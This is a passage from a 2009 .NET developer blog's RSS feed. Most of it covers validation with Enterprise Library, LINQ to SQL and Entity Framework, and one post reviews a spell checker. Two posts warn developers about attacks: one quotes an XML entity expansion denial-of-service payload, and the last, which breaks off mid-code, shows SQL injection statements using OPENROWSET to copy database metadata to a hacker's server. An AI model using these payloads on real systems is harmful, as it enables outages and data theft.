validations.</p><p>Good luck!</p> ]]></description>
			<guid isPermaLink="false">49@http://cuttingedge.it/blogs/steven/pivot/</guid>
			<category>.NET General, C#, Enterprise Library, Entity Framework, LINQ to SQL, O/RM, SQL, Validation Application Block</category>
			<pubDate>Thu, 28 May 2009 22:29:00 +0200</pubDate>
		</item>
		
		
		
		<item>
			<title>Protecting against XML Entity Expansion attacks</title>
			<link>http://www.cuttingedge.it/blogs/steven/pivot/entry.php?id=48</link>
			<comments>http://www.cuttingedge.it/blogs/steven/pivot/entry.php?id=48#comm</comments>
                        <description><![CDATA[ Tom Hollander describes on his blog a denial of service attack I never knew the existence of, called XML Entity Expansion attack. Tom explains how to bring a server to its knees when allowing any type of xml document as input and passing it directly to an XmlDocument for parsing.<p>Tom uses the following XML document of less than 1 KB to demonstrate the attack:</p><pre class="cs" language="csharp" customtypes="PutYourCustomTypesHere" customvaluetypes="PutYourCustomValueTypesHere">&lt;!DOCTYPE foo [ <br />&lt;!ENTITY a &quot;1234567890&quot; &gt; <br />&lt;!ENTITY b &quot;&amp;a;&amp;a;&amp;a;&amp;a;&amp;a;&amp;a;&amp;a;&amp;a;&quot; &gt; <br />&lt;!ENTITY c &quot;&amp;b;&amp;b;&amp;b;&amp;b;&amp;b;&amp;b;&amp;b;&amp;b;&quot; &gt; <br />&lt;!ENTITY d &quot;&amp;c;&amp;c;&amp;c;&amp;c;&amp;c;&amp;c;&amp;c;&amp;c;&quot; &gt; <br />&lt;!ENTITY e &quot;&amp;d;&amp;d;&amp;d;&amp;d;&amp;d;&amp;d;&amp;d;&amp;d;&quot; &gt; <br />&lt;!ENTITY f &quot;&amp;e;&amp;e;&amp;e;&amp;e;&amp;e;&amp;e;&amp;e;&amp;e;&quot; &gt; <br />&lt;!ENTITY g &quot;&amp;f;&amp;f;&amp;f;&amp;f;&amp;f;&amp;f;&amp;f;&amp;f;&quot; &gt; <br />&lt;!ENTITY h &quot;&amp;g;&amp;g;&amp;g;&amp;g;&amp;g;&amp;g;&amp;g;&amp;g;&quot; &gt; <br />&lt;!ENTITY i &quot;&amp;h;&amp;h;&amp;h;&amp;h;&amp;h;&amp;h;&amp;h;&amp;h;&quot; &gt; <br />&lt;!ENTITY j &quot;&amp;i;&amp;i;&amp;i;&amp;i;&amp;i;&amp;i;&amp;i;&amp;i;&quot; &gt; <br />&lt;!ENTITY k &quot;&amp;j;&amp;j;&amp;j;&amp;j;&amp;j;&amp;j;&amp;j;&amp;j;&quot; &gt; <br />&lt;!ENTITY l &quot;&amp;k;&amp;k;&amp;k;&amp;k;&amp;k;&amp;k;&amp;k;&amp;k;&quot; &gt; <br />&lt;!ENTITY m &quot;&amp;l;&amp;l;&amp;l;&amp;l;&amp;l;&amp;l;&amp;l;&amp;l;&quot; &gt; <br />]&gt; <br />&lt;foo&gt;&amp;m;&lt;/foo&gt;</pre><p>See <a rel="external" href="http://blogs.msdn.com/tomholl/archive/2009/05/21/protecting-against-xml-entity-expansion-attacks.aspx" title="Tom Hollander's blog - Protecting against XML Entity Expansion attacks">his post</a> for more information and the proposed remedy.</p> ]]></description>
			<guid isPermaLink="false">48@http://cuttingedge.it/blogs/steven/pivot/</guid>
			<category>.NET General, Security</category>
			<pubDate>Sat, 23 May 2009 12:24:00 +0200</pubDate>
		</item>
		
		
		
		<item>
			<title>Integrating Enterprise Library Validation Application Block with LINQ to SQL and Entity Framework Part 2: Using context within custom validators.</title>
			<link>http://www.cuttingedge.it/blogs/steven/pivot/entry.php?id=47</link>
			<comments>http://www.cuttingedge.it/blogs/steven/pivot/entry.php?id=47#comm</comments>
                        <description><![CDATA[ This article describes how to write custom validators for the Enterprise Library Validation Application Block, in such a way that it runs within the context of a specific LINQ to SQL DataContext or Entity Framework ObjectContext class, which allows analysis of non-persisted (in-memory) changes in that context.The <a rel="external" href="http://msdn.microsoft.com/en-us/library/dd140088.aspx" title="Enterprise Library 4.1 - October 2008 The Validation Application Block">Enterprise Library Validation Application Block</a>, or VAB for short, is great for those simple validations like checking for null strings or checking for a number to fall within a specified range. However, I bet you do, like me, far more complex validations in your enterprise applications. It's not uncommon for me in having to query the database during validation. Let's make it clear, in the context of <a rel="external" href="http://en.wikipedia.org/wiki/Object-relational_mapping" title="Wikipedia - Object-relational mapping">O/RM</a> frameworks, those types of validations tend to get pretty complicated very quickly. This is because you will have to deal with both in-memory state and database state and perhaps even deal with the possibility of multiple users changing data at the same time, while preventing invalid state in the database. Nevertheless, when the enterprise architecture prescribes the use of an O/RM and VAB, having the ability to use your O/RM framework within your custom validators might simply be necessarily.<br /><p><br />So why exactly is this a problem with Validation Application Block? The VAB wasn&rsquo;t build with O/RM technologies in mind. Therefore it lacks the possibility to supply a context to the validation process. <a rel="external" href="http://www.devexpress.com/Products/NET/ORM/" title="Devexpress - eXpress Persistent Objects (XPO)">Some</a> O/RM frameworks allow the context to be retrieved from the entity itself, but the <a rel="external" href="http://weblogs.asp.net/scottgu/archive/2007/05/19/using-linq-to-sql-part-1.aspx" title="ScottGu's Blog - Using LINQ to SQL (Part 1) ">LINQ to SQL</a> and <a rel="external" href="http://msdn.microsoft.com/en-us/library/aa697427(VS.80).aspx" title="MSDN - The ADO.NET Entity Framework Overview">Entity Framework</a> API&rsquo;s do not allow this (which is good in my opinion, because I believe an entity should be unaware of the context in which it&rsquo;s defined). This however leads to a situation where more complex O/RM driven validations can not be performed with VAB out of the box.<br /><br />While it&rsquo;s possible to create a new context within a custom validator and use it to query the database, this prevents you from accessing any non-persisted changes that exist in the original context that influence the validation process.<br /><br />Before explaining how to supply a context to a custom validator, here&rsquo;s an example of one. A custom (configuration based) validator requires a couple of things, such as defining a special constructor and a class level attribute, but it mainly comes down to overriding the protected <span class="code">DoValidate</span> method.</p><pre class="cs" language="csharp" customtypes="ConfigurationElementType CustomValidatorData CustomerValidator Validator ValidationResults Customer Condition" customvaluetypes="PutYourCustomValueTypesHere">using System;<br />using System.Collections.Specialized;<br /><br />using CuttingEdge.Conditions; // http://conditions.codeplex.com<br /><br />using Microsoft.Practices.EnterpriseLibrary.Common.Configuration;<br />using Microsoft.Practices.EnterpriseLibrary.Validation;<br />using Microsoft.Practices.EnterpriseLibrary.Validation.Configuration;<br /><br />[ConfigurationElementType(typeof(CustomValidatorData))]<br />public sealed class CustomerValidator : Validator<br />{<br />    public CustomerValidator(NameValueCollection attributes)<br />        : base(string.Empty, string.Empty)<br />    {<br />    }<br /><br />    protected override string DefaultMessageTemplate<br />    {<br />        get { throw new NotImplementedException(); }<br />    }<br /><br />    protected override void DoValidate(object objectToValidate,<br />        object currentTarget, string key, ValidationResults results)<br />    {<br />        Condition.Requires(currentTarget, &quot;currentTarget&quot;)<br />            .IsOfType(typeof(Customer));<br /><br />        Customer customerToValidate = (Customer)currentTarget;<br /><br />        // TODO: Validate the customer here<br /><br />        // When the customer is invalid, we log that.<br />        this.LogValidationResult(results,<br />            &quot;The customer is invalid&quot;, currentTarget, key);<br />    }<br />}</pre>  <p><font color="#ff0000">UPDATE 2010-01-07:</font> I forgot to mention how the VAB configuration would look like. So, to be complete, here is the VAB configuration used to get this working (I stripped namespaces for readability):</p>  <pre class="cs" language="csharp" customtypes="PutYourCustomTypesHere" customvaluetypes="PutYourCustomValueTypesHere">  &lt;validation&gt;<br />    &lt;type name=&quot;Customer&quot; defaultRuleset=&quot;Default&quot; assemblyName=&quot;Domain&quot;&gt;<br />      &lt;ruleset name=&quot;Default&quot;&gt;<br />        &lt;validator type=&quot;CustomerValidator, Validators&quot;<br />          name=&quot;Customer Validator&quot; /&gt;<br />      &lt;/ruleset&gt;<br />    &lt;/type&gt;<br />  &lt;/validation&gt; </pre>  <p>Please note that when using the Enterprise Library Configuration tool, you should add the validator to the &quot;Self&quot; node of that particular type. </p><p>The custom validation logic for the customer goes in the <span class="code">DoValidate</span> method, but the method lacks a <span class="code">context</span> parameter. The contract for this method is given by the base class and this means that there is no way to operate within the context in which the validated customer is created.</p><p>While it is possible to create the context once during the lifetime of your application, store it in a public static field and let the <span class="code">DoValidate</span> method use that instance, I strongly discourage you from doing this. The LINQ to SQL <span class="type">DataContext</span> and Entity Framework <span class="type">ObjectContext</span> classes are not thread-safe and follow the <a rel="external" href="http://martinfowler.com/eaaCatalog/unitOfWork.html" title="Martin Fowler - Unit of Work">unit of work pattern</a>. Using them this way in a multi-threaded architecture such as ASP.NET will do horrible things (multiple users saving each others changes for instance). But even in a single user Windows Forms application I recommend not doing this.<br /><br />Needed is a mechanism that supplies validators with the context that is in scope, much like the <a rel="external" href="http://msdn.microsoft.com/en-us/library/system.transactions.transactionscope.aspx" title=".NET Framework Class Library - TransactionScope Class"><span class="type">TransactionScope</span></a> does with transactions. Yes, we need .NET&rsquo;s <a rel="external" href="http://msdn.microsoft.com/en-us/library/6sby1byh.aspx" title="MSDN - Thread Local Storage: Thread-Relative Static Fields and Data Slots">thread-local storage</a>. Let us inspire ourselves by the <span class="type">TransactionScope</span> class and create a <span class="type">ContextScope</span> class that allows access to the thread&rsquo;s current context:</p><pre class="cs" language="csharp" customtypes="ContextScope Condition" customvaluetypes="PutYourCustomValueTypesHere">using System;<br /><br />using CuttingEdge.Conditions;<br /><br />public sealed class ContextScope : IDisposable <br />{<br />    private const string ScopeAlreadyActiveExceptionMessage =<br />        &quot;A ContextScope has already been declared within &quot; +<br />        &quot;the current scope. Only one scope can be active.&quot;;<br /><br />    private const string NoScopeActiveExceptionMessage =<br />        &quot;A ContextScope hasn't been declared within the &quot; +<br />        &quot;current scope. This property can only be called &quot; +<br />        &quot;within the context of a ContextScope.&quot;;<br /><br />    [ThreadStatic]<br />    private static object currentContext;<br /><br />    public ContextScope(object context)<br />    {<br />        Condition.Requires(context, &quot;context&quot;).IsNotNull();<br /><br />        if (currentContext != null)<br />        {<br />            throw new InvalidOperationException(<br />                ScopeAlreadyActiveExceptionMessage);<br />        }<br /><br />        currentContext = context;<br />    }<br /><br />    public static object CurrentContext<br />    {<br />        get<br />        {<br />            object context = currentContext;<br /><br />            if (context == null)<br />            {<br />                throw new InvalidOperationException(<br />                    NoScopeActiveExceptionMessage);<br />            }<br /><br />            return context;<br />        }<br />    }<br /><br />    public void Dispose()<br />    {<br />        currentContext = null;<br />    }<br />}</pre><p>As you can see, the <span class="type">ContextScope</span> class is very simple. A created instance functions as a wrapper around the thread static field. The static <span class="code">CurrentContext</span> property can now be used to retrieve the context. The rest of the code is error checking to ensure a scope isn&rsquo;t defined twice and to ensure the <span class="code">CurrentContext</span> property doesn&rsquo;t return <span class="keyword">null</span> when no context is registered.<br /><br />Below is the <span class="type">EntityValidator</span> class from <a rel="external" href="http://www.cuttingedge.it/blogs/steven/pivot/entry.php?id=46" title=".NET Junkie - Integrating Enterprise Library Validation Application Block With LINQ to SQL and Entity Framework Part 1: Basic Integration">my previous post</a>, adjusted in such a way that it uses the <span class="type">ContextScope</span>.</p><pre class="cs" language="csharp" customtypes="EntityValidator ContextScope ValidationResults ValidationFactory ValidationException Condition" customvaluetypes="PutYourCustomValueTypesHere">using System.Collections.Generic;<br />using System.Linq;<br /><br />using CuttingEdge.Conditions;<br /><br />using Microsoft.Practices.EnterpriseLibrary.Validation;<br /><br />static class EntityValidator<br />{<br />    public static void Validate(object context, <br />        IEnumerable&lt;object&gt; entities)<br />    {<br />        Condition.Requires(context, &quot;context&quot;).IsNotNull();<br />        Condition.Requires(entities, &quot;entities&quot;).IsNotNull();<br /><br />        // Define the scope for custom validators to use.<br />        using (new ContextScope(context))<br />        {<br />            // Get a list of ValidationResults, one for each<br />            // invalid object.<br />            ValidationResults[] invalidResults = (<br />                from entity in entities<br />                let type = entity.GetType()<br />                let validator =<br />                    ValidationFactory.CreateValidator(type)<br />                let results = validator.Validate(entity)<br />                where !results.IsValid<br />                select results).ToArray();<br /><br />            // Throw an exception when there are invalid results.<br />            if (invalidResults.Length &gt; 0)<br />            {<br />                throw new ValidationException(invalidResults);<br />            }<br />        } // end using<br />    }	<br />}</pre><p>As you can see, little has changed to the <span class="code">Validate</span> method. A <span class="code">context</span> argument was added to the definition and within the body of the method the original code was wrapped with a <span class="keyword">using</span> statement that contains the creation of a <span class="type">ContextScope</span> instance. Because the definition of <span class="code">Validate</span> changed, the calling code also has to change, as shown below (note that I give value types a different color, so that they're easy to spot):</p><pre class="cs" language="csharp" customtypes="EntityValidator Condition" customvaluetypes="ConflictMode">// Changes to LINQ to SQL&rsquo;s NorthwindDataContext class.<br />public override void SubmitChanges(ConflictMode failureMode)<br />{<br />    // Just add the &lsquo;this&rsquo; keyword as first argument.<br />    EntityValidator.Validate(this, this.GetChangedEntities());<br /><br />    base.SubmitChanges(failureMode);<br />}<br /><br />// Changes to Entity Framework&rsquo;s NorthwindEntities class.<br />partial void OnContextCreated()<br />{<br />    // Again, just add the &lsquo;this&rsquo; keyword as first argument.<br />    this.SavingChanges += (sender, e) =&gt;<br />        EntityValidator.Validate(this, this.GetChangedEntities());<br />}</pre><p>And finally, within the custom validator, we can retrieve the context using the <span class="type">ContextScope</span><span class="code">.CurrentContext</span> property as follows:</p><pre class="cs" language="csharp" customtypes="ValidationResults Customer NorthwindEntities ContextScope Condition" customvaluetypes="PutYourCustomValueTypesHere">protected override void DoValidate(object objectToValidate,<br />    object currentTarget, string key, ValidationResults results)<br />{<br />    Condition.Requires(currentTarget, &quot;currentTarget&quot;)<br />        .IsOfType(typeof(Customer));<br /><br />    Customer customerToValidate = (Customer)currentTarget;<br /><br />    // Retrieve the Entity Framework ObjectContext<br />    // from the context scope.<br />    NorthwindEntities context =<br />        (NorthwindEntities)ContextScope.CurrentContext;<br /><br />    // TODO: Validate the customer here<br /><br />    // When the customer is invalid, we log that.<br />    this.LogValidationResult(results,<br />        &quot;The customer is invalid&quot;, currentTarget, key);<br />}</pre><p>While VAB doesn&rsquo;t support context based custom validators out of the box, as I&rsquo;ve shown here, implementing support for this isn&rsquo;t that hard. But as I stated in the beginning of this post, from here on it can get pretty complicated very quickly. <br /><br />In <a rel="external" href="http://www.cuttingedge.it/blogs/steven/pivot/entry.php?id=49" title=".NET Junkie - Integrating Enterprise Library Validation Application Block with LINQ to SQL and Entity Framework Part 3: The complexity of custom validators.">part three</a>, I&rsquo;ll show an example of how complicated this can get and in <a rel="external" href="http://cuttingedge.it/blogs/steven/pivot/entry.php?id=64" title=".NET Junkie - Integrating Enterprise Library Validation Application Block With LINQ to SQL and Entity Framework Part 4: Using Metadata to Automate Validations">part four</a> I'll show how to use the metadata, generated by LINQ to SQL, to automate validations.</p><p>Happy validating!</p> ]]></description>
			<guid isPermaLink="false">47@http://cuttingedge.it/blogs/steven/pivot/</guid>
			<category>.NET General, C#, Enterprise Library, Entity Framework, LINQ, LINQ to SQL, O/RM, Validation Application Block</category>
			<pubDate>Thu, 21 May 2009 18:04:00 +0200</pubDate>
		</item>
		
		
		
		<item>
			<title>Integrating Enterprise Library Validation Application Block With LINQ to SQL and Entity Framework Part 1: Basic Integration</title>
			<link>http://www.cuttingedge.it/blogs/steven/pivot/entry.php?id=46</link>
			<comments>http://www.cuttingedge.it/blogs/steven/pivot/entry.php?id=46#comm</comments>
                        <description><![CDATA[ This article describes how to integrate the Enterprise Library Validation Application Block in conjunction with an O/RM technology such as LINQ to SQL and Entity Framework.<p>For a long time, doing a deep dive into the <a rel="external" href="http://msdn.microsoft.com/en-us/library/dd140088.aspx">Enterprise Library Validation Application Block</a> (VAB) was on my list of things to do. Especially how to place the VAB within an architectural context.</p>  <p>Microsoft's Enterprise Library is a big framework with useful functionality for developing .NET based applications. The Validation Application Block is part of that big framework and &quot;provides useful features that allow developers to implement structured and easy-to-maintain validation scenarios in their applications <a rel="external" href="http://msdn.microsoft.com/en-us/library/dd140088.aspx">-&gt;</a>&quot;. Validations can be defined using configuration files (with designer support!) or by applying attributes to classes and properties where validation support is needed. The VAB comes with a set of standard validations, but it&rsquo;s possible to write your own validations and integrate them with the framework.</p>  <p>Instead of writing a lengthy article about the features of the VAB, I advise you to browse through the <a rel="external" href="/blogs/steven/images/ValidationHOL.zip" title="Validation Application Block Hands-On  Lab for Enterprise Library version 4.1" class="download">ValidationHOL.pdf</a> document from the <a rel="external" href="http://www.microsoft.com/downloads/details.aspx?FamilyID=2C34A9CB-17CF-4AEC-8DE6-EEACBBB74413&amp;displaylang=en">Validation Application Block Hands-On Labs</a>. It gives a great overview on the main scenario's for which VAB can be used.</p>  <p>The scenario I find VAB most useful in, is defining validations for domain entities, such as validating classes generated by <a rel="external" href="http://weblogs.asp.net/scottgu/archive/2007/05/19/using-linq-to-sql-part-1.aspx">LINQ to SQL</a> or <a rel="external" href="http://msdn.microsoft.com/en-us/library/aa697427(VS.80).aspx">Entity Framework</a>. Because these two <a rel="external" href="http://en.wikipedia.org/wiki/Object-relational_mapping">O/RM</a> technologies generate domain entities, it&rsquo;s practically impossible to use attribute based validation. Validations have to be specified in a configuration file. I personally don't mind, because this does a better job in separating the validation concern from code and enables configuring the validation using the supplied designer. Besides that, configuration based validation provides a lot more flexibility. However, the configuration based approach has it&rsquo;s own pitfalls. You should definitely read <a rel="external" href="http://blogs.msdn.com/tomholl/archive/2007/04/19/avoiding-configuration-pitfalls-with-incompatible-copies-of-enterprise-library.aspx">this</a> article when you&rsquo;re planning on using that approach.</p>  <p><strong>[Update 2010-02-10]</strong> The next version of the Validation Application Block (version 5.0) will be able to read <a rel="external" href="http://msdn.microsoft.com/en-us/library/ee256141%28VS.100%29.aspx">.NET 3.5 DataAnnotations</a> attributes. This will allow you to define your validations using the <a rel="external" href="http://www.paraesthesia.com/archive/2010/01/28/separating-metadata-classes-from-model-classes-in-dataannotations-using-custom.aspx">'buddy class' technique</a> that DataAnnotations offer. While this technique is still less flexible than what VAB can offer, nice thing is that you can mix techniques. You can use buddy classes for simple validation rules that can be picked up by ASP.NET and use VAB validators for complex business rules with possible database interaction.[/Update]</p>  <p>This is great, but how do we actually integrate VAB with a technology such as LINQ to SQL or Entity Framework? While it is possible to let the client invoke validation before calling the LINQ to SQL <a rel="external" href="http://msdn.microsoft.com/en-us/library/system.data.linq.datacontext.submitchanges.aspx">SubmitChanges</a> or Entity Framework <a rel="external" href="http://msdn.microsoft.com/en-us/library/bb336792.aspx">SaveChanges</a> method, I prefer integrating this into the generated context class. This makes it impossible for the validation to be forgotten. Here is an example of an implementation of a partial LINQ to SQL DataContext class with validation support:</p>  <pre class="cs" language="csharp" customtypes="NorthwindDataContext ConflictMode EntityValidator ChangeSet">// Validation with LINQ to SQL.<br /> using System.Collections.Generic;<br /> using System.Data.Linq;<br /> using System.Linq;<br /> public partial class NorthwindDataContext<br /> {<br />     public override void SubmitChanges(ConflictMode failureMode)<br />     {<br />         // Adding validation support when saving.<br />         EntityValidator.Validate(this.GetChangedEntities());<br />         base.SubmitChanges(failureMode);<br />     }<br /> 	<br />     // Gets the list of modified objects that are tracked<br />     // by the current data context.<br />     private IEnumerable&lt;object&gt; GetChangedEntities()<br />     {<br />         ChangeSet changes = this.GetChangeSet();<br />         return changes.Inserts.Concat(changes.Updates);<br />     }<br /> } </pre>  <p>And below is an example of an implementation of a partial Entity Framework ObjectContext class with validation support:</p>  <pre class="cs" language="csharp" customtypes="NorthwindEntities EntityValidator" customvaluetypes="EntityState">// Validation with Entity Framework.<br /> using System.Collections.Generic;<br /> using System.Data;<br /> using System.Linq;<br /> <br /> public partial class NorthwindEntities<br /> {<br />     partial void OnContextCreated()<br />     {<br />         // Adding validation support when saving.<br />         this.SavingChanges += (sender, e) =&gt;<br />             EntityValidator.Validate(this.GetChangedEntities());<br />     }<br />     <br />     // Get the list of modified entities that are tracked<br />     // by the current data context.<br />     private IEnumerable&lt;object&gt; GetChangedEntities()<br />     {<br />         const EntityState AddedAndModified =<br />             EntityState.Added | EntityState.Modified;<br />     <br />         var entries = this.ObjectStateManager<br />             .GetObjectStateEntries(AddedAndModified);<br />         <br />         return<br />             from entry in entries<br />             where entry.Entity != null<br />             select entry.Entity;<br />     }<br /> } </pre> 	 <p>You can see that both frameworks have a different extensibility mechanism. While LINQ to SQL allows overriding the SubmitChanges method for injecting validation, with Entity Framework the SavingChanges event has to be hooked. Both classes implement their own version of the GetChangedEntities method to return all entities that are created or changed within the scope of the given context. Notice that deleted objects will not be returned, which hopefully makes sense.</p>  <p>What&rsquo;s missing in the previous code snippets is the implementation of the EntityValidator class:</p>  <pre class="cs" language="csharp" customtypes="NorthwindEntities EntityValidator ValidationException ValidationFactory ValidationResults" customvaluetypes="EntityState">using System;<br /> using System.Collections.Generic;<br /> using System.Linq;<br /> using Microsoft.Practices.EnterpriseLibrary.Validation;<br /> <br /> // The helper class for validation entities.<br /> static class EntityValidator<br /> {<br />     public static void Validate(IEnumerable&lt;object&gt; entities)<br />     {<br />         // Get a list of ValidationResults, one for each<br />         // invalid object.<br />         ValidationResults[] invalidResults = (<br />             from entity in entities<br />             let type = entity.GetType()<br />             let validator = ValidationFactory.CreateValidator(type)<br />             let results = validator.Validate(entity)<br />             where !results.IsValid<br />             select results).ToArray();<br />         <br />         // Throw an exception when there are invalid results.<br />         if (invalidResults.Length &gt; 0)<br />         {<br />             throw new ValidationException(invalidResults);<br />         }<br />     }<br /> }<br /> <br /> [Serializable]<br /> public sealed class ValidationException : Exception<br /> {<br />     public ValidationException(ValidationResults[] results)<br />         : base(&quot;There are validation errors. etc. etc.&quot;)<br />     {<br />         this.Results = results.ToArray();<br />     }<br />     <br />     public IEnumerable&lt;ValidationResults&gt; Results<br />     {<br />         get; private set;<br />     }<br />     <br />     ...<br /> } </pre> 	 <p> The EntityValidator&rsquo;s Validate method validates the supplied collection of entities. I really like the expressiveness of LINQ; do you see how readable the code becomes with such a query? The result of the query is an array of ValidationResults objects, one per invalid entity. The entities are validated using a Validator instance, created by VAB&rsquo;s ValidationFactory.</p> <p>An important design decision here, is to throw an exception in case invalid entities are found. A context should not be able to save it&rsquo;s changes, when it contains entities that are considered to be invalid as defined by the business. By throwing an exception this is communicated very clearly. This way it&rsquo;s impossible for the client programmer to forget to handle this exceptional condition. Just imagine what happens when a developer forgets to handle that exceptional case. Not throwing an exception would make the user, on who&rsquo;s behalf the operation is executed, believe that his changes are actually saved, while they&rsquo;re not. This will result in an angry customer calling customer support. I&rsquo;d rather let an exception bubble up, so it can be logged using the <a rel="external" href="http://msdn.microsoft.com/en-us/library/dd139916.aspx">Enterprise Library Logging Application Block</a> or <a rel="external" href="http://logging.codeplex.com">CuttingEdge.Logging</a>.</p>  <p>Finally, there need to be some code that can handle the thrown exception. How to do this depends on the type of application and it&rsquo;s design. Here is a simple console application that uses the Entity Framework to create a new customer, saves it and shows the errors in case of an ValidationException:</p>  <pre class="cs" language="csharp" customtypes="NorthwindEntities Customer ValidationException">static void Main(string[] args)<br /> {<br />     using (var db = new NorthwindEntities())<br />     {<br />         Customer junkie = new Customer();<br />         <br />         junkie.CustomerID = &quot;junki&quot;;<br />         junkie.ContactName = &quot;S. van Deursen&quot;;<br />         junkie.CompanyName = &quot;Cutting Edge&quot;;<br />         <br />         db.AddToCustomers(junkie);<br />         <br />         try<br />         {<br />             db.SaveChanges();<br />             Console.WriteLine(&quot;Success!&quot;);<br />         }<br />         catch (ValidationException ex)<br />         {<br />             ShowErrors(ex);<br />         }<br />     }<br />     <br />     Console.ReadLine();<br /> }<br /> <br /> private static void ShowErrors(ValidationException ex)<br /> {<br />     Console.WriteLine(ex.Message);<br /> 	<br />     var errors =<br />         from results in ex.Results<br />         from result in results<br />         select result.Key + &quot;: &quot; + result.Message;<br />     <br />     foreach (var error in errors)<br />     {<br />         Console.WriteLine(error);<br />     }<br /> } </pre>  <p>Please note that there are a few short comes to the given implementation:</p> <ul> <li>It assumes the definition of a single default rule set. <a rel="external" href="http://msdn.microsoft.com/en-us/library/dd139856.aspx#validate_rulesets">Rule sets</a> are a very useful feature of VAB, but it depends on your requirements if you need them and in what way.</li> <li>The implementation is unable to cope with validations that require database communication through the LINQ to SQL DataContext or Entity Framework ObjectContext. I will handle this in the <a rel="external" href="http://www.cuttingedge.it/blogs/steven/pivot/entry.php?id=47">part two</a>. </li> </ul>  <p> <a rel="external" href="http://www.cuttingedge.it/blogs/steven/pivot/entry.php?id=47">Part two</a> will be about using context within custom validators, <a rel="external" href="http://www.cuttingedge.it/blogs/steven/pivot/entry.php?id=49">part three</a> will be about some common pitfalls when creating those custom data centric validators, <a rel="external" href="http://cuttingedge.it/blogs/steven/pivot/entry.php?id=64">part four</a> will be about getting the most out of generated meta data and if you're interested in putting the VAB's configuration in its own file, you should read <a rel="external" href="http://cuttingedge.it/blogs/steven/pivot/entry.php?id=65">this</a> article. When you want to integrate VAB with ASP.NET Web Forms, you should definitely read my series that start <a rel="external" href="http://www.cuttingedge.it/blogs/steven/pivot/entry.php?id=78">here</a>. </p>  <p>Happy validating!</p> ]]></description>
			<guid isPermaLink="false">46@http://cuttingedge.it/blogs/steven/pivot/</guid>
			<category>.NET General, C#, Enterprise Library, Entity Framework, LINQ, LINQ to SQL, O/RM, Validation Application Block</category>
			<pubDate>Tue, 07 Apr 2009 21:58:00 +0200</pubDate>
		</item>
		
		
		
		<item>
			<title>Spell checkers for Visual Studio</title>
			<link>http://www.cuttingedge.it/blogs/steven/pivot/entry.php?id=45</link>
			<comments>http://www.cuttingedge.it/blogs/steven/pivot/entry.php?id=45#comm</comments>
                        <description><![CDATA[ One good spell checker and one really bad spell checker plug-in for Visual Studio.A few month ago the <a rel="external" href="http://blogs.msdn.com/webdevtools/archive/2008/11/29/spell-checker-update-2-2-full-support-for-vs-2008-sp1-simpler-setup-and-a-few-bug-fixes.aspx" title="Visual Web Developer Team Blog - Spell checker update 2.2: full support for VS 2008 SP1, simpler setup and a few bug fixes">Visual Web Developer Team Blog</a> announced a new version of their free Spell checker plug-in for Visual Studio. But even for a free plug-in, this thing really sucks! It's incredibly slow and despite the web dev team&rsquo;s <a rel="external" href="http://blogs.msdn.com/webdevtools/archive/2008/11/29/spell-checker-update-2-2-full-support-for-vs-2008-sp1-simpler-setup-and-a-few-bug-fixes.aspx#ctl00___ctl00___ctl02___Comments___Comments_ctl01_NameLink" title="Visual Web Developer Team Blog - Spell checker update 2.2 - Steven's comment">response</a> on my question&nbsp; about multi language support, the spell checker only checks the Dutch language on my pc, which is pretty annoying. And when I say slow, I mean S.L.O.W. It takes about <strong><u>four</u></strong> minutes to check a file with 1K <a rel="external" href="http://en.wikipedia.org/wiki/Lines_of_code" title="Lines of Code">LOC</a> and Visual Studio stops responding till the plug-in has finished checking.<br /><br /><h6>There is an alternative.</h6>In his <a rel="external" href="http://msdn.microsoft.com/en-us/magazine/dd315418.aspx" title="MSDN Magazine - January's Toolbox Column">January's Toolbox Column</a> on <a rel="external" href="http://msdn.microsoft.com/en-us/magazine/" title="MSDN Magazine">MSDN Magazine</a>, <a rel="external" href="http://scottonwriting.net/sowblog/" title="Scott Mitchell's blog">Scott Mitchell</a> writes about the <a rel="external" href="http://www.componentone.com/SuperProducts/IntelliSpell/" title="ComponentOne - IntelliSpell - Spell-checking Add-in for Microsoft Visual Studio">IntelliSpell</a> plug-in from <a rel="external" href="http://www.componentone.com/" title="ComponentOne">ComponentOne</a>. While IntelliSpell is a commercial product, there is a free version available that works fine. While ms spell check needs Word installed on your PC, IntelliSpell is independent of Word and most of all: it&rsquo;s fast! That 1K LOC file I was talking about? It is checked within a second. That makes IntelliSpell at least 250 times faster as the ms spell checker!<br /><br />One thing I haven't figured out yet, is how to assign a Visual Studio shortcut key to IntelliSpell... ]]></description>
			<guid isPermaLink="false">45@http://cuttingedge.it/blogs/steven/pivot/</guid>
			<category>.NET General, Visual Studio</category>
			<pubDate>Sun, 18 Jan 2009 14:02:00 +0200</pubDate>
		</item>
		
		
		
		<item>
			<title>The true danger of SQL Injection Attacks</title>
			<link>http://www.cuttingedge.it/blogs/steven/pivot/entry.php?id=44</link>
			<comments>http://www.cuttingedge.it/blogs/steven/pivot/entry.php?id=44#comm</comments>
                        <description><![CDATA[ This article describes the true danger of SQL injection attacks. The article shows how a hacker can steal your sensitive business data, even when your website connects to your database with a normal non-privileged login account.<p>Often when I visit customers, I warn their developers about the danger of SQL injection attacks and the importance of good database security. Many developers think they are safe because:</p><ul><li>They don't return (SQL) error messages to the browser.</li><li>They log error messages to the windows event log.</li><li>They use stored procedures.</li><li>They don't connect to the database using the 'sa' (administrator) account.</li></ul><p>This however is a false sense of security. In this article I will show you how a hacker can exploit a SQL injection vulnerability to steal your sensitive data. This goes for SQL Server 2000 in particular, which has a pretty unsafe default configuration, leaving your server open to exploitation quite easily, as I will show next.</p><h5>Hacking SQL Server Using OpenRowset</h5><p>Hackers can exploit a hole in your website to inject SQL code into SQL Server. The most popular way to do this is by inserting code in the query string, but there are of course several ways to do this. If you are not familiar with SQL Injection attacks, <a rel="external" href="http://en.wikipedia.org/wiki/SQL_injection" title="Wikipedia - SQL injection">this</a> Wikipedia article has a good definition.&nbsp; Most developers however, don't realize what the dangers are of such a leak. A hacker, that finds a SQL injection vulnerability, might inject the following SQL code into your SQL Server database:</p><pre><font color="#0000ff">INSERT INTO OPENROWSET</font>(<font color="#ff0000">'SQLoledb'</font>,<br /><font color="#ff0000">'server=HackersServer;uid=sa;pwd=hackersPwd'</font>, <br /><font color="#ff0000">'select * from hacked_tables'</font>)<br /><font color="#0000ff">SELECT </font>* <font color="#0000ff">FROM<font color="#008000"> </font></font><font color="#008000">sys.objects</font><br /><br /><font color="#0000ff">INSERT INTO OPENROWSET</font>(<font color="#ff0000">'SQLoledb'</font>,<br /><font color="#ff0000">'server=HackersServer;uid=sa;pwd=hackersPwd'</font>, <br /><font color="#ff0000">'select * from hacked_columns'</font>)<br /><font color="#0000ff">SELECT </font>* <font color="#0000ff">FROM<font color="#008000"> </font></font><font 